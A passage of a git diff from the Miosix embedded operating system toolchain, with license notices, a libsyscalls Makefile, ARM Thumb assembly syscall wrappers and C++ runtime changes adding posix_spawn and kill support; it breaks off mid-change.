ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +(37) Texas Instruments Incorporated (tic6x-* targets) + +Copyright (c) 1996-2010 Texas Instruments Incorporated +http://www.ti.com/ + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + Neither the name of Texas Instruments Incorporated nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(38) National Semiconductor (cr16-* and crx-* targets) + +Copyright (c) 2004 National Semiconductor Corporation + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(39) - Adapteva, Inc. (epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== mx-postlinker License === + +Copyright (C) 2012 by Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/rm.c b/tools/compiler/gcc-15.2.0-mp4.2/installers/windows/rm.c similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/rm.c rename to tools/compiler/gcc-15.2.0-mp4.2/installers/windows/rm.c diff --git a/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/Makefile b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/Makefile new file mode 100644 index 000000000..2ee0b6fe5 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/Makefile @@ -0,0 +1,82 @@ +## +## Makefile for libsyscalls, the library with userspace syscalls for processes +## This makefile builds libsyscalls.a +## + +## Allow `make clean' to always work +ifeq (clean,$(MAKECMDGOALS)) + TARGET=x + PREFIX=. + MULTILIB_PATH=. +endif + +## TARGET, PREFIX, MULTILIB_PATH and MULTILIB_FLAGS should be specified +## by the caller +ifeq ($(TARGET),) + $(info TARGET must be a triple like 'arm-miosix-eabi') + $(error Error: TARGET not specified) +endif +ifeq ($(PREFIX),) + $(info PREFIX must be a toolchain prefix path like '/opt/arm-miosix-eabi') + $(error Error: PREFIX not specified) +endif +ifeq ($(MULTILIB_PATH),) + # Note that MULTILIB_FLAGS can be empty so we can't test for it being + # undefined. So the help for MULTILIB_FLAGS is here + $(info MULTILIB_PATH must be a relative library path like 'thumb/v7-m/nofp') + $(info and MULTILIB_FLAGS should the associated set of GCC flags like) + $(info '-mthumb -march=armv7-m -mfloat-abi=soft') + $(error Error: MULTILIB_PATH not specified) +endif + +SRC := crt0.s crt1.cpp memoryprofiling.cpp + +CC := $(TARGET)-gcc +CXX := $(TARGET)-g++ +AR := $(TARGET)-ar + +OPT_OPTIMIZATION := -O2 +AFLAGS := $(MULTILIB_FLAGS) +CFLAGS := -MMD -MP $(MULTILIB_FLAGS) -ffunction-sections -Wall \ + -Werror=return-type -D_DEFAULT_SOURCE=1 $(OPT_OPTIMIZATION) -g +CXXFLAGS := -fno-exceptions -std=c++23 $(CFLAGS) + +OBJ := $(addsuffix .o, $(basename $(SRC))) + +ifeq ("$(VERBOSE)","1") +Q := +ECHO := @true +else +Q := @ +ECHO := @echo +endif + +all: libsyscalls.a + +clean: + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) *.a + +install: libsyscalls.a + install -m 644 libsyscalls.a $(DESTDIR)$(PREFIX)/$(TARGET)/lib/$(MULTILIB_PATH) + +libsyscalls.a: $(OBJ) + $(ECHO) "[AR ] libsyscalls.a" + $(Q)$(AR) rcs libsyscalls.a $(OBJ) + +%.o: %.cpp + $(ECHO) "[CXX ] $<" + $(Q)$(CXX) $(CXXFLAGS) -c $< -o $@ + +%.o: %.c + $(ECHO) "[CC ] $<" + $(Q)$(CC) $(CFLAGS) -c $< -o $@ + +%.o: %.s + $(ECHO) "[AS ] $<" + $(Q)$(CC) $(AFLAGS) -c $< -o $@ + +%.o: %.S + $(ECHO) "[AS ] $<" + $(Q)$(CC) $(AFLAGS) -c $< -o $@ + +-include $(OBJ:.o=.d) diff --git a/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt0.S b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt0.S new file mode 100644 index 000000000..ca810485f --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt0.S @@ -0,0 +1,918 @@ +/*************************************************************************** + * Copyright (C) 2012-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +.syntax unified +/* no .cpu specified, this file supports both thumb-1 and thumb-2 CPUs */ +.thumb + +/** + * _start, program entry point + * Function is not performance-critical as it is run only once to start the + * process so it is written entirely using thumb-1 instructions to be compatible + * with all ARM CPUs + */ +.section .text +.global _start +.type _start, %function +_start: + /* Kernel calls here with r0=argc, r1=argv, r2=envp, r3=heapEnd, we save */ + /* only argc, argv and envp for later. r3 is written to __processHeapEnd */ + /* before we lose it calling constructors. Saving 3*4=12byte + 4bytes in */ + /* __call_ctor respects 8 byte stack alignment in the called C++ ctors */ + /* while __call_ctor itself uses nonstandard calling conventions anyway */ + push {r0,r1,r2} + /* store the stack end (for profiling purposes) */ + mov r7, r9 /* thumb-1 has limited access to upper registers */ + mov r6, sp /* thumb-1 has limited access to upper registers */ + ldr.n r0, .L100+0 /* __processStackEnd */ + ldr r0, [r7, r0] + str r6, [r0] + /* store the heap end in the appropriate variable */ + ldr.n r0, .L100+4 /* __processHeapEnd */ + ldr r0, [r7, r0] + str r3, [r0] + /* store envp in the appropriate variable */ + ldr.n r0, .L100+8 /* environ */ + ldr r0, [r7, r0] + str r2, [r0] + /* call C++ global constructors */ + ldr.n r0, .L100+12 /* __preinit_array_start */ + ldr.n r1, .L100+16 /* __preinit_array_end */ + ldr r4, [r7, r0] + ldr r5, [r7, r1] + bl __call_ctor + ldr.n r0, .L100+20 /* __init_array_start */ + ldr.n r1, .L100+24 /* __init_array_end */ + ldr r4, [r7, r0] + ldr r5, [r7, r1] + bl __call_ctor + pop {r0,r1,r2} /* get back argc,argv,envp to call main */ + bl main + /* Terminate the program, simply by calling exit(). + * Note: a previous version of _start manually called __call_exitprocs() + * followed by _exit(), but it forgot to also call __stdio_exit_handler(), + * which caused stdout to not be flushed on exit. + * The standard exit() function does everything that needs to be done, + * and is perfectly fine to call here, so we might as well use it! + * Switched to bl insted of b to fix linker errors if the symbol is far */ + bl exit +.align 2 +.L100: + .word __processStackEnd(GOT) + .word __processHeapEnd(GOT) + .word environ(GOT) + .word __preinit_array_start(GOT) + .word __preinit_array_end(GOT) + .word __init_array_start(GOT) + .word __init_array_end(GOT) + +/** + * Call global constructors and destructors + * Function is written entirely using thumb-1 instructions to be compatible with + * all ARM CPUs + * Uses non-standard calling convention, as it is called only from _start + * expects the pointer to the start of the function pointer area in r4 and + * the pointer to the end of it in r5 + */ +.section .text +.type __call_ctor, %function +__call_ctor: + push {lr} + cmp r4, r5 + beq .L201 +.L200: + ldmia r4!, {r3} /* thumb-1 equivalent of ldr r3, [r4], #4 */ + blx r3 + cmp r5, r4 + bne .L200 +.L201: + pop {pc} + +/** + * pthread_yield + * At least on newlib, this function does not return a value + */ +.section .text.pthread_yield +.global pthread_yield +.type pthread_yield, %function +pthread_yield: + push {r7,lr} + movs r7, #0 + svc 0 + pop {r7,pc} + +/** + * sched_yield + * \return 0 (success) + */ +.section .text.sched_yield +.global sched_yield +.type sched_yield, %function +sched_yield: + push {r7,lr} + movs r7, #0 + svc 0 + movs r0, #0 + pop {r7,pc} + +/** + * open, open a file + * \param path file name + * \param file access mode + * \param mode access permisions + * \return file descriptor or -1 if errors + */ +.section .text.open +.global open +.type open, %function +open: + push {r7,lr} + movs r7, #2 + svc 0 + cmp r0, #0 + blt .L300 + pop {r7,pc} +.L300: + b syscallfailed32 + +/** + * close, close a file + * \param fd file descriptor + * \return 0 on success, -1 on failure + */ +.section .text.close +.global close +.type close, %function +close: + push {r7,lr} + movs r7, #3 + svc 0 + cmp r0, #0 + blt .L400 + pop {r7,pc} +.L400: + b syscallfailed32 + +/** + * read, read from file + * \param fd file descriptor + * \param buf data to be read + * \param size buffer length + * \return number of read bytes or -1 if errors + */ +.section .text.read +.global read +.type read, %function +read: + push {r7,lr} + movs r7, #4 + svc 0 + cmp r0, #0 + blt .L500 + pop {r7,pc} +.L500: + b syscallfailed32 + +/** + * write, write to file + * \param fd file descriptor + * \param buf data to be written + * \param size buffer length + * \return number of written bytes or -1 if errors + */ +.section .text.write +.global write +.type write, %function +write: + push {r7,lr} + movs r7, #5 + svc 0 + cmp r0, #0 + blt .L600 + pop {r7,pc} +.L600: + b syscallfailed32 + +/** + * lseek + * \param fd file descriptor, passed in r0 + * \param pos moving offset, passed in r3,r2 as it is a long long + * \param whence, SEEK_SET, SEEK_CUR or SEEK_END, passed in the stack + * \return absolute position after seek on success, -1LL on failure + */ +.section .text.lseek +.global lseek +.type lseek, %function +lseek: + push {r7,lr} + ldr r1, [sp, #8] /* Whence moved to 2nd syscall parameter (r1) */ + movs r7, #6 + svc 0 + cmp r1, #0 /* 64 bit negative check */ + blt .L700 + pop {r7,pc} +.L700: + b syscallfailed64 + +/** + * stat + * \param path path to file or directory + * \param pstat pointer to struct stat + * \return 0 on success, -1 on failure + */ +.section .text.stat +.global stat +.type stat, %function +stat: + push {r7,lr} + movs r7, #7 + svc 0 + cmp r0, #0 + blt .L800 + pop {r7,pc} +.L800: + b syscallfailed32 + +/** + * lstat + * \param path path to file or directory + * \param pstat pointer to struct stat + * \return 0 on success, -1 on failure + */ +.section .text.lstat +.global lstat +.type lstat, %function +lstat: + push {r7,lr} + movs r7, #8 + svc 0 + cmp r0, #0 + blt .L900 + pop {r7,pc} +.L900: + b syscallfailed32 + +/** + * fstat + * \param fd file descriptor + * \param pstat pointer to struct stat + * \return 0 on success, -1 on failure + */ +.section .text.fstat +.global fstat +.type fstat, %function +fstat: + push {r7,lr} + movs r7, #9 + svc 0 + cmp r0, #0 + blt .L1000 + pop {r7,pc} +.L1000: + b syscallfailed32 + +/** + * fcntl + * \param fd file descriptor + * \param cmd operation to perform + * \param opt optional third parameter + * \return -1 on failure, an operation dependent return value otherwise + */ +.section .text.fcntl +.global fcntl +.type fcntl, %function +fcntl: + push {r7,lr} + movs r7, #10 + svc 0 + cmp r0, #0 + blt .L1100 + pop {r7,pc} +.L1100: + b syscallfailed32 + +/** + * ioctl + * \param fd file descriptor + * \param cmd operation to perform + * \param arg optional third parameter + * \return -1 on failure, an operation dependent return value otherwise + */ +.section .text.ioctl +.global ioctl +.type ioctl, %function +ioctl: + push {r7,lr} + movs r7, #11 + svc 0 + cmp r0, #0 + blt .L1200 + pop {r7,pc} +.L1200: + b syscallfailed32 + +/** + * isatty + * \param fd file descriptor + * \return 1 if fd is associated with a terminal, 0 if not, or also on failure. + * When fd is valid but not a terminal, errno is set to ENOTTY. + */ +.section .text.isatty +.global isatty +.type isatty, %function +isatty: + push {r7,lr} + movs r7, #12 + svc 0 + cmp r0, #0 + bgt .L1300 + bl __isattyfailed +.L1300: + pop {r7,pc} + +/** + * getcwd + * \param fd file descriptor + * \param buf pointer to buffer where current directory will be written + * \param size buffer size + * \return pointer on success, NULL on failure + */ +.section .text.getcwd +.global getcwd +.type getcwd, %function +getcwd: + push {r7,lr} + movs r7, #13 + svc 0 + cmp r1, #0 + bge .L1400 + movs r0, r1 + bl __getcwdfailed +.L1400: + pop {r7,pc} + +/** + * chdir + * \param path pointer to path where to change directory + * \return 0 on success, -1 on failure + */ +.section .text.chdir +.global chdir +.type chdir, %function +chdir: + push {r7,lr} + movs r7, #14 + svc 0 + cmp r0, #0 + blt .L1500 + pop {r7,pc} +.L1500: + b syscallfailed32 + +/** + * getdents + * \param fd file descriptor + * \param buf pointer to buffer where directory entries will be written + * \param size buffer size + * \return number of bytes wrtten, 0 on end of directory, -1 on failure + */ +.section .text.getdents +.global getdents +.type getdents, %function +getdents: + push {r7,lr} + movs r7, #15 + svc 0 + cmp r0, #0 + blt .L1600 + pop {r7,pc} +.L1600: + b syscallfailed32 + +/** + * mkdir + * \param path pointer to path of directory to create + * \param mode directory mode + * \return 0 on success, -1 on failure + */ +.section .text.mkdir +.global mkdir +.type mkdir, %function +mkdir: + push {r7,lr} + movs r7, #16 + svc 0 + cmp r0, #0 + blt .L1700 + pop {r7,pc} +.L1700: + b syscallfailed32 + +/** + * rmdir + * \param path pointer to path of directory to remove + * \return 0 on success, -1 on failure + */ +.section .text.rmdir +.global rmdir +.type rmdir, %function +rmdir: + push {r7,lr} + movs r7, #17 + svc 0 + cmp r0, #0 + blt .L1800 + pop {r7,pc} +.L1800: + b syscallfailed32 + +/** + * link + * \param oldpath existing file path + * \param newpath new file path + * \return 0 on success, -1 on failure + */ +.section .text.link +.global link +.type link, %function +link: + push {r7,lr} + movs r7, #18 + svc 0 + cmp r0, #0 + blt .L1900 + pop {r7,pc} +.L1900: + b syscallfailed32 + +/** + * unlink + * \param path path of file/directory to remove + * \return 0 on success, -1 on failure + */ +.section .text.unlink +.global unlink +.type unlink, %function +unlink: + push {r7,lr} + movs r7, #19 + svc 0 + cmp r0, #0 + blt .L2000 + pop {r7,pc} +.L2000: + b syscallfailed32 + +/** + * symlink + * \param target symlink destination + * \param linkpath file name of symlink to be created + * \return 0 on success, -1 on failure + */ +.section .text.symlink +.global symlink +.type symlink, %function +symlink: + push {r7,lr} + movs r7, #20 + svc 0 + cmp r0, #0 + blt .L2100 + pop {r7,pc} +.L2100: + b syscallfailed32 + +/** + * readlink + * \param path path to the symlink + * \param buf pointer where the symlink target will be stored + * \param size buffer size + * \return 0 on success, -1 on failure + */ +.section .text.readlink +.global readlink +.type readlink, %function +readlink: + push {r7,lr} + movs r7, #21 + svc 0 + cmp r0, #0 + blt .L2200 + pop {r7,pc} +.L2200: + b syscallfailed32 + +/** + * truncate + * \param path path to the file + * \param size new file size + * \return 0 on success, -1 on failure + */ +.section .text.truncate +.global truncate +.type truncate, %function +truncate: + push {r7,lr} + movs r7, #22 + svc 0 + cmp r0, #0 + blt .L2300 + pop {r7,pc} +.L2300: + b syscallfailed32 + +/** + * ftruncate + * \param fd file descriptor + * \param size new file size + * \return 0 on success, -1 on failure + */ +.section .text.ftruncate +.global ftruncate +.type ftruncate, %function +ftruncate: + push {r7,lr} + movs r7, #23 + svc 0 + cmp r0, #0 + blt .L2400 + pop {r7,pc} +.L2400: + b syscallfailed32 + +/** + * rename + * \param oldpath existing file path + * \param newpath new file path + * \return 0 on success, -1 on failure + */ +.section .text.rename +.global rename +.type rename, %function +rename: + push {r7,lr} + movs r7, #24 + svc 0 + cmp r0, #0 + blt .L2500 + pop {r7,pc} +.L2500: + b syscallfailed32 + +/* TODO: missing syscalls: chmod, fchmod, chown, fchown, lchown */ + +/** + * dup + * \param fd file descriptor to duplicate + * \return the new file descriptor on success, -1 on failure + */ +.section .text.dup +.global dup +.type dup, %function +dup: + push {r7,lr} + movs r7, #30 + svc 0 + cmp r0, #0 + blt .L3100 + pop {r7,pc} +.L3100: + b syscallfailed32 + +/** + * dup2 + * \param oldfd file descriptor to duplicate + * \param newfd old file descriptor will be duplicated to this file descriptor + * \return the new file descriptor on success, -1 on failure + */ +.section .text.dup2 +.global dup2 +.type dup2, %function +dup2: + push {r7,lr} + movs r7, #31 + svc 0 + cmp r0, #0 + blt .L3200 + pop {r7,pc} +.L3200: + b syscallfailed32 + +/** + * pipe + * \param fds[2] file descriptors + * \return 0 on success, -1 on failure + */ +.section .text.pipe +.global pipe +.type pipe, %function +pipe: + push {r7,lr} + movs r3, r0 /* save fds to a non overwritten register */ + movs r7, #32 + svc 0 + cmp r0, #0 + blt .L3300 + str r1, [r3] + str r2, [r3, #4] + pop {r7,pc} +.L3300: + b syscallfailed32 + +/* TODO: missing syscalls: access */ + +/** + * miosix::getTime, nonstandard syscall + * \return long long time in nanoseconds, relative to clock monotonic + */ +.section .text._ZN6miosix7getTimeEv +.global _ZN6miosix7getTimeEv +.type _ZN6miosix7getTimeEv, %function +_ZN6miosix7getTimeEv: + push {r7,lr} + movs r7, #36 + svc 0 + pop {r7,pc} + +/** + * miosix::nanoSleepUntil, nonstandard syscall + * \param absolute sleep time in nanoseconds, relative to clock monotonic + */ +.section .text._ZN6miosix14nanoSleepUntilEx +.global _ZN6miosix14nanoSleepUntilEx +.type _ZN6miosix14nanoSleepUntilEx, %function +_ZN6miosix14nanoSleepUntilEx: + push {r7,lr} + movs r7, #37 + svc 0 + pop {r7,pc} + +/** + * clock_gettime + * \param clockid which clock + * \param tp struct timespec* + * \return in Miosix this syscall always returns 0, if the clockid is wrong + * the default clock is returned + */ +.section .text.clock_gettime +.global clock_gettime +.type clock_gettime, %function +clock_gettime: + push {r4, r7} + movs r4, r1 + movs r7, #38 + svc 0 +#if __ARM_ARCH_ISA_THUMB == 1 + str r2, [r4] + str r3, [r4, #4] +#else + strd r2, [r4] +#endif + str r1, [r4, #8] + pop {r4, r7} + cmp r0, #0 + blt .L3900 /* can't use syscallfailed32 as we haven't pushed r7,lr */ + bx lr +.L3900: + b __seterrno32 @ tail call + +/** + * clock_settime + * \param clockid which clock + * \param tp struct timespec* + * \return 0 on success or a positive error code + */ +.section .text.clock_settime +.global clock_settime +.type clock_settime, %function +clock_settime: + push {r7, lr} + /* return syscall(clock_id,tp->tv_nsec,tp->tv_sec); */ +#if __ARM_ARCH_ISA_THUMB == 1 + ldr r2, [r1] + ldr r3, [r1, #4] +#else + ldrd r2, [r1] +#endif + ldr r1, [r1, #8] + movs r7, #39 + svc 0 + cmp r0, #0 + blt .L4000 + pop {r7, pc} +.L4000: + b syscallfailed32 + +/** + * clock_nanosleep + * \param clockid which clock + * \param flags absolute or relative + * \param req struct timespec* with sleep time + * \param rem optional struct timespec* + * \return 0 on success or a positive error code + */ +.section .text.clock_nanosleep +.global clock_nanosleep +.type clock_nanosleep, %function +clock_nanosleep: + push {r7, lr} + movs r7, #40 + svc 0 + pop {r7,pc} + +/** + * clock_getres + * \param clockid which clock + * \param req struct timespec* resolution + * \return 0 on success or a positive error code + */ +.section .text.clock_getres +.global clock_getres +.type clock_getres, %function +clock_getres: + push {r7,lr} + movs r2, r1 /* save req to a non overwritten register */ + movs r7, #41 + svc 0 + cmp r2, #0 + beq .L4200 /* req can be nullptr */ + str r1, [r2, #8] + movs r3, #0 + str r3, [r2, #4] + str r3, [r2, #0] +.L4200: + cmp r0, #0 + blt .L4201 + pop {r7,pc} +.L4201: + b syscallfailed32 + +/* TODO: missing syscalls: clock_adjtime */ + +/** + * _exit, terminate process + * \param v exit value + * This syscall does not return + */ +.section .text._exit +.global _exit +.type _exit, %function +_exit: + movs r7, #43 + svc 0 + +/** + * _execve, run a different program + * \param path program to run + * \param argv program arguments + * \param envp program environment variables + * \return -1 on failure. Does not return on success + */ +.section .text._execve +.global _execve +.type _execve, %function +_execve: + push {r7,lr} + movs r7, #44 + svc 0 + b syscallfailed32 /* if execve returns, then it failed */ + +/** + * __do_spawn, syscall underneath posix_spawn, start a new process running the + * given program + * \param ptr pointer to a struct SpawnArgs with the following fields + * - path program to run + * - file_actions optional actions + * - attrp more options + * - argv program arguments + * - envp program environment variables + * \return the pid of the spawned process or a negative error code on failure + */ +.section .text.__do_spawn +.global __do_spawn +.type __do_spawn, %function +__do_spawn: + push {r7,lr} + movs r7, #45 + svc 0 + pop {r7,pc} + +/* TODO: missing syscalls */ + +/** + * waitpid, wait for process termination + * \param pid pid to wait for + * \param wstatus pointer to return code + * \param options wait options + * \return 0 on success, -1 on failure + */ +.section .text.waitpid +.global waitpid +.type waitpid, %function +waitpid: + push {r7,lr} + movs r7, #47 + svc 0 + cmp r0, #0 + blt .L4800 + pop {r7,pc} +.L4800: + b syscallfailed32 + +/** + * getpid + * \return the pid of the current process + */ +.section .text.getpid +.global getpid +.type getpid, %function +getpid: + push {r7,lr} + movs r7, #48 + svc 0 + pop {r7,pc} + +/** + * getppid + * \return the pid of the parent process + */ +.section .text.getppid +.global getppid +.type getppid, %function +getppid: + push {r7,lr} + movs r7, #49 + svc 0 + pop {r7,pc} + +/* TODO: missing syscalls: getuid, getgid, geteuid, getegid, setuid, setgid */ + +/** + * sysconf + * \param query requested value + * \return desired value on success, -1 on failure + */ +.section .text.sysconf +.global sysconf +.type sysconf, %function +sysconf: + push {r7,lr} + movs r7, #59 + svc 0 + cmp r0, #0 + blt .L6000 + pop {r7,pc} +.L6000: + b syscallfailed32 + +/* common jump target for all failing syscalls with 32 bit return value */ +.section .text.__seterrno32 +syscallfailed32: +#if __ARM_ARCH_ISA_THUMB == 1 + ldr r7, [sp, #4] /* push{r7,lr} leaves lr @ sp+4 and r7 @ sp+0 */ + mov lr, r7 + ldr r7, [sp, #0] + add sp, #8 +#else + pop {r7,lr} +#endif + b __seterrno32 @ tail call + +/* common jump target for all failing syscalls with 64 bit return value */ +.section .text.__seterrno64 +syscallfailed64: +#if __ARM_ARCH_ISA_THUMB == 1 + ldr r7, [sp, #4] /* push{r7,lr} leaves lr @ sp+4 and r7 @ sp+0 */ + mov lr, r7 + ldr r7, [sp, #0] + add sp, #8 +#else + pop {r7,lr} +#endif + b __seterrno64 @ tail call + +.end diff --git a/miosix/libsyscalls/crt1.cpp b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt1.cpp similarity index 83% rename from miosix/libsyscalls/crt1.cpp rename to tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt1.cpp index 6bcbdfeae..b24c00ad6 100644 --- a/miosix/libsyscalls/crt1.cpp +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/crt1.cpp @@ -31,6 +31,7 @@ #include #include #include +#include #include #include #include @@ -39,6 +40,8 @@ #include #include #include +#include +#include constexpr int numAtexitEntries=2; ///< Number of entries per AtexitBlock @@ -61,6 +64,28 @@ static pthread_mutex_t mallocMutex=PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP; /// struct with a per-mutex flag static int globalFlag=0; +/** + * \internal + * Required by C++ standard library. + * See http://lists.debian.org/debian-gcc/2003/07/msg00057.html + * + * __dso_handle is referenced by atexit and by global destructors to + * discriminate between loaded binary objects --- i.e. it is used to implement + * the fact that when a shared object is unloaded, only the atexit functions + * that belong to that SO are effectively called. + * It is also used by GCC itself to implement global destructors; in that + * case, a reference to it is lazily added when necessary by the code in GCC + * (see decl.cc:10352 in GCC 15.2.0, function get_dso_handle_node()). + * This symbol is normally declared in crt0, but we do not link with the + * standard GCC crt0, so we have to provide the declaration ourselves. + * Due to a quirk of how GCC's symbol reference generation works, since this + * is a .cpp file, the symbol is marked as extern C++ despite it should not (and + * in fact the symbol is not mangled). To prevent compilation errors due to + * declaration mismatch, we need to declare the symbol as extern C++ ourselves, + * forcing the symbol name with asm() to defeat the mangling. + */ +void *__dso_handle asm("__dso_handle")=(void*) &__dso_handle; + extern "C" { /** @@ -178,13 +203,6 @@ void __call_exitprocs(int code, void *d) } } -/** - * \internal - * Required by C++ standard library. - * See http://lists.debian.org/debian-gcc/2003/07/msg00057.html - */ -void *__dso_handle=(void*) &__dso_handle; - // initialized in crt0.s, used also by memoryprofiling const char *__processHeapEnd; const char *__processStackEnd; @@ -372,7 +390,16 @@ int _gettimeofday_r(struct _reent *ptr, struct timeval *tv, void *tz) return gettimeofday(tv,tz); } -// int _kill_r(struct _reent* ptr, int pid, int sig) { return -1; } +int _kill_r(struct _reent* ptr, int pid, int sig) +{ + if(pid==getpid()) + { + if(sig!=0) _exit(128+sig); + return 0; + } + errno=EPERM; + return -1; +} int _wait_r(struct _reent *ptr, int *status) { @@ -427,11 +454,40 @@ int nanosleep(const struct timespec *req, struct timespec *rem) return clock_nanosleep(CLOCK_MONOTONIC,0,req,rem); } +struct SpawnArgs +{ + const char *path; + const posix_spawn_file_actions_t *actions; + const posix_spawnattr_t *attr; + char *const *argv; + char *const *envp; +}; + +int __do_spawn(SpawnArgs *args); + +int posix_spawn(pid_t *pid, const char *path, + const posix_spawn_file_actions_t *actions, const posix_spawnattr_t *attr, + char *const argv[], char *const envp[]) +{ + SpawnArgs args; + args.path=path; + args.actions=actions; + args.attr=attr; + args.argv=argv; + args.envp=envp; + int result=__do_spawn(&args); + if(result<0) return -result; + if(pid) *pid=result; + return 0; +} + pid_t wait(int *status) { return waitpid(-1,status,0); } +#if __CORTEX_M != 0 + static int __LDREXW(volatile int *addr) { int result; @@ -461,6 +517,20 @@ static int atomicCompareAndSwap(volatile int *p, int prev, int next) return result; } +#else //__CORTEX_M != 0 + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + //FIXME: not atomic at all, we can't even disable interrupts in a process + //we'll need a syscall to let the kernel do this operation atomically + int result = *p; + if(*p == prev) *p = next; + asm volatile("":::"memory"); + return result; +} + +#endif //__CORTEX_M != 0 + static void enterCriticalSection(pthread_mutex_t *m) { //TODO: when we add the flag in the mutex stop using the global flag @@ -500,6 +570,12 @@ void *getCurrentThread() return reinterpret_cast(1); //TODO: stub we need a syscall for that } +struct WaitingList +{ + void *thread; + WaitingList *next; +}; + int pthread_mutex_lock(pthread_mutex_t *mutex) { CriticalSectionLock lock(mutex); @@ -515,9 +591,9 @@ int pthread_mutex_lock(pthread_mutex_t *mutex) //while(owner!=p) which is immeditely false. if(mutex->owner==p) { - if(mutex->recursive>=0) + if(mutex->recursiveDepth>=0) { - mutex->recursive++; + mutex->recursiveDepth++; return 0; } else exit(1); //Bad, deadlock } @@ -525,13 +601,13 @@ int pthread_mutex_lock(pthread_mutex_t *mutex) WaitingList waiting; //Element of a linked list on stack waiting.thread=p; waiting.next=nullptr; //Putting this thread last on the list (lifo policy) - if(mutex->first==nullptr) + if(mutex->field1==nullptr) { - mutex->first=&waiting; - mutex->last=&waiting; + mutex->field1=&waiting; + mutex->field2=&waiting; } else { - 